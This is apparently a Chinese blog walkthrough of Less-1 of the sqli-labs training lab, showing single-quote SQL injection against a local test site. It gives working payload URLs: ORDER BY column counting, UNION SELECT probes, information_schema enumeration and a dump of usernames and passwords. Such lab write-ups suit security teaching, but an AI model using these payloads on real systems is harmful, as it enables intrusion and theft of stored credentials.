Sqli-labs第一题详解

less1:
根据题目提示为单引号注入,先测试一下
在这里插入图片描述
果然报错了,说明我们添加的单引号被数据库成功解析,那我们就可以通过闭合id这个参数 ,然后构造自己的sql语句进行攻击。一般可以使用联合表的方式来提取自己想要的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。
那么知道这个我们就开始查字段吧
确定字段数一般可以使用order by 语句:
http://localhost/sqlilabs/Less-1/?id=1 order by 1 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 2 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 3 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 4 %23
报错:
在这里插入图片描述
//注意这里使用 # 是不行的,游览器没有帮我们编码,所以我们自己编
%23#的url编码,--+可以直接使用//

即只有三个字段,那么现在开始联合查询:
因为sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果 集变为空,这样我们想要的结果才能显示在界面上
同时又需要确定哪几个字段会被显示在页面上:
在这里插入图片描述
可以看出2,3字段被显示出来,
接着爆数据库在这里插入图片描述
看到数据库名为:security,接着再查其他信息
http://localhost/sqli-labs/Less-1/ ?id='union select 1,2,concat_ws((char(32,58,32)),user(),database(),version())--+在这里插入图片描述
这里我使用了concat_ws() 函数:
concat_ws(separator,str1,str2,…)
第一个参数是其它参数的分隔符。分隔符的位置放在要连 接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
es:
select concat_ws(’,’ , ‘11’ , ‘22’ , ‘33’);  11,22,33
group_concat(): 使多行数据在一列显示
char(32,58,32)对应ascill码为空格:空格
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本

我们还要知道在Mysql中有information_schema这个库,该库存放了所有数据库的信息。

information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名

OK 得到这些信息之后我们再来看看数据库有哪些表

http://localhost/sqli-labs/Less-1/
?id='union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在这里插入图片描述
可以看到有四张表,我们想要的信息基本都在user表下
我们对这张表爆列名:
http://localhost/sqli-labs/Less-1/ ?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
在这里插入图片描述
接着进行爆用户信息

http://localhost/sqli-labs/Less-1/ ?id=' union select 1,group_concat(username),group_concat(password) from users --+在这里插入图片描述
OKヾ(≧▽≦*)o 第一关到此结束。

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值